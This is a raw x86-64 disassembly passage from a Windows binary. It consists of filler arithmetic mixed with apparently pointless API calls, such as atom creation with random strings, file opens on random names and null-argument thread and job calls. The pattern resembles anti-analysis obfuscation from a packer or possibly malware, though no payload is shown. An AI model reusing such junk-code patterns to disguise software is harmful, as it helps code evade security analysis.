mov rax, qword [rsp + 0x14ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1784]
and eax, ecx
mov rcx, qword [rsp + 0x15590]
mov word [rcx], ax
mov rax, qword [rsp + 0x13eb0]
movsx eax, byte [rax]
movsx ecx, byte [0x14035e4d6]
add eax, ecx
mov byte [rsp + 0x209], al
movzx eax, byte [rsp + 0x4dc]
mov byte [rsp + 0x72b], al
lea rax, [rsp + 0x26a8]
mov qword [0x140363f20], rax
mov rax, qword [rsp + 0x15390]
mov rcx, qword [rsp + 0x154b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13450]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaee4]
mov ecx, dword [0x14035cc4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9cbc], eax
mov rax, qword [rsp + 0x15640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x704]
add eax, ecx
mov rcx, qword [rsp + 0x155d8]
mov byte [rcx], al
lea rcx, [rsp + 0x41ec8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x2b20]
mov word [rsp + 0x2cec], ax
mov rax, qword [rsp + 0x149c8]
mov eax, dword [rax]
mov ecx, dword [0x14035cc48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f98], eax
mov rax, qword [rsp + 0x15500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14600]
mov dword [rcx], eax
lea rax, [rsp + 0x7108]
mov qword [rsp + 0x15700], rax
mov eax, dword [rsp + 0xadc8]
movzx ecx, al
mov eax, dword [0x14035cc48]
sar eax, cl
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
mov rax, qword [rsp + 0x153b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b90]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x140363f20]
mov word [rcx], ax
lea rax, [rsp + 0x256]
mov qword [rsp + 0x15708], rax
mov rax, qword [rsp + 0x14e90]
mov rcx, qword [rsp + 0x13db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x15390]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa8bc]
mov ecx, dword [rsp + 0xab4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c08]
mov dword [rcx], eax
mov rax, qword [0x140363b28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x15590]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x103c], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad98], eax
mov rax, qword [rsp + 0x14340]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c2]
and eax, ecx
mov byte [rsp + 0x6b2], al
lea rax, [rsp + 0x6d6]
mov qword [rsp + 0x15710], rax
movzx ecx, word [rsp + 0x2bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cf0], ax
mov rax, qword [rsp + 0x14b98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14428]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15140]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9134], eax
lea rax, [rsp + 0xabe0]
mov qword [0x140363f28], rax
mov rax, qword [rsp + 0x139f0]
mov eax, dword [rax]
mov dword [rsp + 0xaf40], eax
mov rax, qword [rsp + 0x14448]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8dc4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xad6c], eax
mov eax, dword [rsp + 0xa914]
mov ecx, dword [rsp + 0xa9d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x733c], eax
mov rax, qword [rsp + 0x14098]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x15128]
mov byte [rcx], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov word [rsp + 0x2cf4], ax
mov rax, qword [rsp + 0x13b10]
mov rcx, qword [0x140363dd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8a08], eax
mov rax, qword [rsp + 0x145d8]
mov rcx, qword [rsp + 0x13738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8c4], eax
mov eax, dword [rsp + 0x920c]
mov dword [rsp + 0xaf44], eax
lea rcx, [rsp + 0x41c88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x920c]
mov ecx, dword [rsp + 0xa184]
sub ecx, eax
mov eax, ecx
mov dword [0x14035cc7c], eax
mov rax, qword [rsp + 0x149d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14bb0]
mov word [rcx], ax
lea rax, [rsp + 0x42a]
mov qword [rsp + 0x15718], rax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x6e6]
xor eax, ecx
mov rcx, qword [rsp + 0x14bc0]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2ab0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a98], ax
movsx eax, word [rsp + 0x2cac]
mov rcx, qword [rsp + 0x13e60]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2aec], ax
lea rdx, [rsp + 0x143c0]
mov rcx, qword [rsp + 0x152c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaf48], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [rsp + 0x86b0]
mov qword [rsp + 0x15720], rax
lea rdx, [rsp + 0x15728]
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa910], eax
mov rax, qword [rsp + 0x14c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6788]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c50]
mov dword [rcx], eax
lea rcx, [rsp + 0x41e08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x2bf4]
mov rcx, qword [rsp + 0x151b0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x15620]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x23c]
sub eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x148a8]
mov rcx, qword [rsp + 0x14a98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035cc1c], eax
mov eax, dword [rsp + 0xa60c]
mov ecx, dword [rsp + 0x6788]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xabc8], eax
mov rax, qword [0x140363bf0]
mov eax, dword [rax]
mov dword [rsp + 0xaf4c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
mov rax, qword [rsp + 0x13978]
mov rcx, qword [rsp + 0x132a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15720]
mov dword [rcx], eax
lea rax, [rsp + 0x29ec]
mov qword [rsp + 0x15730], rax
movzx eax, byte [rsp + 0x701]
mov rcx, qword [0x140363980]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13318]
mov byte [rcx], al
mov eax, dword [rsp + 0x763c]
mov ecx, dword [rsp + 0xa314]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153d0]
mov dword [rcx], eax
lea rax, [rsp + 0x8178]
mov qword [rsp + 0x15738], rax
mov rax, qword [rsp + 0x150d8]
mov rcx, qword [rsp + 0x143f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14a68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x143c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab08]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363c28]
mov dword [rcx], eax
lea rax, [rsp + 0xa854]
mov qword [rsp + 0x15740], rax
movsx eax, byte [0x14035e4a7]
movsx ecx, byte [rsp + 0x6dc]
sub eax, ecx
mov rcx, qword [rsp + 0x13390]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2c20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c10], ax
lea rax, [rsp + 0x11cc]
mov qword [rsp + 0x15748], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.Mv07lZlcC5YxJfYA712t
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15750], rax
movzx eax, word [rsp + 0x2cc4]
mov rcx, qword [rsp + 0x14c28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bb0], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac30], eax
mov rax, qword [rsp + 0x14630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13a30]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6d1], al
lea rcx, str.N7LJlK7B_MMpdou.Q4SOMXDv5
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b10], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rax, [rsp + 0xabac]
mov qword [rsp + 0x15758], rax
mov eax, dword [rsp + 0xaa3c]
mov ecx, dword [rsp + 0xa9b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14a58]
mov dword [rcx], eax
lea rax, [rsp + 0x2c58]
mov qword [rsp + 0x15760], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.Lp5HHeiJ6isMmAJe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15768], rax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
mov byte [0x14035e545], al
mov eax, dword [rsp + 0x7bf0]
mov ecx, dword [rsp + 0xaaac]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14cd0]
mov dword [rcx], eax
mov eax, dword [0x140363b40]
mov ecx, dword [rsp + 0x852c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0x85c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6600], eax
lea rdx, [rsp + 0x14b78]
mov rcx, qword [rsp + 0x14698]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa934], eax
mov rax, qword [rsp + 0x13ee0]
mov ecx, dword [0x140363ba4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7820], eax
lea rax, [rsp + 0x70e]
mov qword [rsp + 0x15770], rax
movzx eax, word [rsp + 0x29f0]
movzx ecx, word [rsp + 0x2484]
sub eax, ecx
mov word [rsp + 0x29a4], ax
mov eax, dword [rsp + 0x9c48]
mov ecx, dword [rsp + 0xab58]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x73d0], eax
lea rax, [rsp + 0xac5c]
mov qword [rsp + 0x15778], rax
mov rax, qword [rsp + 0x149d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x139d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140362bf4], ax
mov rax, qword [rsp + 0x151a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x707]
or eax, ecx
mov byte [rsp + 0x209], al
mov rax, qword [rsp + 0x14f68]
movzx eax, word [rax]
mov word [rsp + 0x2cf8], ax
lea rdx, [rsp + 0x45d58]
mov rcx, qword [rsp + 0x14088]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaf50], eax
movzx eax, byte [rsp + 0x6c5]
movzx ecx, byte [rsp + 0x6e4]
sub eax, ecx
mov rcx, qword [rsp + 0x13718]
mov byte [rcx], al
lea rax, [rsp + 0xaa98]
mov qword [rsp + 0x15780], rax
mov rax, qword [rsp + 0x13da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa960]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad64], eax
mov rax, qword [rsp + 0x134a8]
mov rcx, qword [rsp + 0x13ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14e30]
mov dword [rcx], eax
lea rax, [0x140363f04]
mov qword [rsp + 0x15788], rax
mov eax, dword [rsp + 0xaefc]
mov rcx, qword [rsp + 0x13300]
mov qword [rsp + 0x15790], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15790]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6514], eax
lea rax, [rsp + 0x728]
mov qword [rsp + 0x15798], rax
movzx eax, word [rsp + 0x20d8]
movzx ecx, word [0x14035cc5c]
xor eax, ecx
mov word [0x14035cc80], ax
mov rax, qword [rsp + 0x13fa8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14be8]
mov qword [rsp + 0x157a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x157a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13978]
mov dword [rcx], eax
mov eax, dword [rsp + 0x81a0]
mov ecx, dword [rsp + 0x86a8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xadf4], eax
mov rax, qword [0x1403639a0]
mov eax, dword [rax]
mov dword [rsp + 0xaf54], eax
mov rax, qword [rsp + 0x14b88]
mov ecx, dword [rsp + 0xab0c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x141a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x68e]
movzx ecx, byte [rsp + 0x120]
and eax, ecx
mov byte [rsp + 0x68], al
mov rax, qword [rsp + 0x13838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a18]
sub eax, ecx
mov word [rsp + 0x299c], ax
movsx eax, byte [rsp + 0x6bd]
mov rcx, qword [rsp + 0x13eb0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13810]
mov byte [rcx], al
lea rax, [rsp + 0x2c1c]
mov qword [rsp + 0x157a8], rax
mov rax, qword [rsp + 0x13c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae48]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x140363a80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x146a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c38]
mov dword [rcx], eax
lea rax, [rsp + 0x5fb]
mov qword [rsp + 0x157b0], rax
movzx eax, word [rsp + 0x2a58]
mov rcx, qword [rsp + 0x14b10]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x153f0]
mov word [rcx], ax
mov eax, dword [rsp + 0xaef8]
mov ecx, dword [rsp + 0x9e84]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6650], eax
mov eax, dword [0x140363ae8]
mov dword [rsp + 0xaf58], eax
mov rax, qword [rsp + 0x146f8]
mov rcx, qword [rsp + 0x14f18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad7c], eax
mov eax, dword [rsp + 0xac5c]
mov ecx, dword [rsp + 0xad00]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8af8], eax
movzx eax, byte [0x14035e532]
mov rcx, qword [rsp + 0x15350]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x24b], al
mov rax, qword [rsp + 0x142a8]
movzx eax, word [rax]
mov word [0x140362fd4], ax
mov rax, qword [rsp + 0x15188]
mov eax, dword [rax]
mov dword [rsp + 0xaf5c], eax
mov rax, qword [rsp + 0x152f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9048]
shl eax, cl
mov rcx, qword [rsp + 0x152e0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13ca8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0xaf34]
mov ecx, dword [rsp + 0xa900]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8c8], eax
lea rax, [rsp + 0x8c88]
mov qword [rsp + 0x157b8], rax
mov rax, qword [0x140363ac8]
mov ecx, dword [rsp + 0x7c98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x136e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131b8]
movzx eax, word [rax]
mov word [rsp + 0x2cfc], ax
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ac8], ax
movsx eax, byte [rsp + 0x714]
mov rcx, qword [rsp + 0x15418]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6f1], al
movzx eax, byte [0x140353576]
mov rcx, qword [rsp + 0x13e50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6c9], al
lea rax, [rsp + 0x22c8]
mov qword [0x140363f30], rax
mov rax, qword [rsp + 0x141a0]
mov rcx, qword [rsp + 0x135c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e64], eax
mov eax, dword [rsp + 0x6ae4]
mov ecx, dword [0x14035cc10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x134d0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x700]
mov byte [rsp + 0x72c], al
movzx eax, word [rsp + 0x2ba0]
mov rcx, qword [0x140363b00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a84], ax
mov rax, qword [rsp + 0x152b8]
mov ecx, dword [rsp + 0xac18]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaab8], eax
lea rdx, [rsp + 0x14010]
mov rcx, qword [rsp + 0x13968]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xabd4], eax
mov rax, qword [rsp + 0x15550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa938]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa248], eax
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x141d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaf60], eax
mov r9d, 1
lea r8, [rsp + 0x14818]
mov rdx, qword [rsp + 0x157c0]
mov rcx, qword [rsp + 0x14d00]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa9d0], eax
mov rax, qword [0x1403639d0]
mov rcx, qword [rsp + 0x13ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14258]
mov dword [rcx], eax
lea rax, [rsp + 0xa8bc]
mov qword [rsp + 0x157c8], rax
mov rax, qword [rsp + 0x14048]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x706]
or eax, ecx
mov byte [0x1403535a2], al
mov rax, qword [0x140363c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa8]
shl eax, cl
mov rcx, qword [rsp + 0x14360]
mov word [rcx], ax
mov rax, qword [rsp + 0x14928]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f48]
mov qword [rsp + 0x157d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x157d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa988], eax
mov rax, qword [rsp + 0x137d0]
mov eax, dword [rax]
mov dword [rsp + 0xaf64], eax
mov rax, qword [rsp + 0x146b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13348]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2ab4], ax
mov rax, qword [rsp + 0x13810]
movzx eax, byte [rax]
mov byte [rsp + 0x72d], al
mov rax, qword [rsp + 0x14450]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa4]
and eax, ecx
mov rcx, qword [rsp + 0x14ff0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x119]
movzx ecx, byte [rsp + 0x6cd]
and eax, ecx
mov byte [rsp + 0x57c], al
mov rax, qword [rsp + 0x13a38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8994]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xadbc], eax
mov rax, qword [rsp + 0x14d80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7908]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x140363d50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x14f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaf38], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rax, [rsp + 0x924c]
mov qword [rsp + 0x157d8], rax
mov rax, qword [rsp + 0x136a8]
mov eax, dword [rax]
mov ecx, dword [0x14035cbe8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9764], eax
movzx eax, byte [rsp + 0x6c3]
mov byte [rsp + 0x72e], al
mov rax, qword [rsp + 0x15608]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c3c]
add eax, ecx
mov rcx, qword [rsp + 0x13de0]
mov word [rcx], ax
lea rdx, [rsp + 0x45d58]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaa38], eax
mov rax, qword [rsp + 0x13658]
mov rcx, qword [rsp + 0x149b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14b50]
mov dword [rcx], eax
lea rax, [rsp + 0x7a24]
mov qword [rsp + 0x157e0], rax
lea rcx, str.0wWs_UUg
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2d00], ax
mov rax, qword [rsp + 0x137f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80ac], eax
lea rax, [rsp + 0xa95c]
mov qword [0x140363f38], rax
lea rax, [rsp + 0x4f6]
mov qword [rsp + 0x157e8], rax
movzx eax, word [rsp + 0x2c64]
movzx ecx, word [rsp + 0x29a8]
sub eax, ecx
mov word [rsp + 0x2548], ax
mov rax, qword [rsp + 0x14640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13b88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2990], ax
movsx eax, byte [rsp + 0x6c2]
mov rcx, qword [rsp + 0x14aa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25f], al
mov rax, qword [rsp + 0x14280]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14128]
mov qword [rsp + 0x157f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x157f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xac3c], eax
lea rax, [rsp + 0x7ff0]
mov qword [rsp + 0x157f8], rax
mov rax, qword [rsp + 0x14b28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xac]
shl eax, cl
mov byte [rsp + 0x70c], al
movzx eax, word [rsp + 0x14b8]
mov word [rsp + 0x2d04], ax
mov rax, qword [rsp + 0x13ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e80]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x140363ed0]
mov dword [rcx], eax
mov r9d, 0x30c
xor r8d, r8d
lea rdx, [rsp + 0x15170]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xab50], eax
mov eax, dword [rsp + 0xa3e0]
mov ecx, dword [rsp + 0x73a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13478]
mov dword [rcx], eax
mov eax, dword [rsp + 0xabec]
mov ecx, dword [rsp + 0xaa5c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14470]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ffc], eax
movzx eax, byte [rsp + 0x58b]
movzx ecx, byte [rsp + 0x119]
sub eax, ecx
mov byte [rsp + 0x6ec], al
lea rax, [rsp + 0x189c]
mov qword [rsp + 0x15800], rax
mov eax, dword [rsp + 0x8a08]
mov ecx, dword [rsp + 0x8f98]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a8], eax
mov rax, qword [rsp + 0x13ce0]
mov rcx, qword [rsp + 0x14f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14388]
mov dword [rcx], eax
lea rax, [rsp + 0x874c]
mov qword [rsp + 0x15808], rax
mov rax, qword [rsp + 0x152f0]
mov eax, dword [rax]
mov dword [0x140363f14], eax
mov rax, qword [rsp + 0x137e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d60]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f20]
mov dword [rcx], eax
lea rax, [rsp + 0x132]
mov qword [rsp + 0x15810], rax
mov rax, qword [rsp + 0x13950]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2aec]
add eax, ecx
mov rcx, qword [rsp + 0x13998]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac38], eax
movzx eax, byte [rsp + 0x61c]
movzx ecx, byte [rsp + 0x728]
add eax, ecx
mov rcx, qword [rsp + 0x13e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov word [rsp + 0x2d08], ax
mov rax, qword [rsp + 0x144a0]
mov rcx, qword [rsp + 0x13f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140b0]
mov eax, dword [rax]
mov dword [rsp + 0xaf68], eax
movzx eax, word [0x140362f84]
movzx ecx, word [rsp + 0x2b34]
xor eax, ecx
mov rcx, qword [rsp + 0x14ec0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x23c]
movzx ecx, byte [rsp + 0x703]
sar eax, cl
mov byte [0x1403535ae], al
mov rax, qword [0x140363ef0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x70c0]
shl eax, cl
mov dword [rsp + 0xa7dc], eax
lea rax, [rsp + 0xa90c]
mov qword [rsp + 0x15818], rax
mov rax, qword [rsp + 0x15580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6898]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14250]
mov dword [rcx], eax
lea rax, [rsp + 0x7b68]
mov qword [rsp + 0x15820], rax
movzx eax, word [rsp + 0x29b4]
mov rcx, qword [rsp + 0x14db8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b00], ax
mov rax, qword [rsp + 0x152b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x138e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x592], al
mov rax, qword [rsp + 0x15738]
mov rcx, qword [0x1403639d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x137a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13960]
mov ecx, dword [rsp + 0xaa88]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14a58]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movsx eax, word [rsp + 0x2be4]
movsx ecx, word [0x140353b08]
add eax, ecx
mov word [0x140362d84], ax
movzx eax, byte [rsp + 0x6ee]
mov byte [rsp + 0x72f], al
mov rax, qword [rsp + 0x14908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f40]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x133c0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf6c], eax
lea rax, [rsp + 0x144c]
mov qword [rsp + 0x15828], rax
mov rax, qword [0x140363c50]
mov ecx, dword [rsp + 0xaa90]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14b60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15248]
mov ecx, dword [rsp + 0xab28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6378], eax
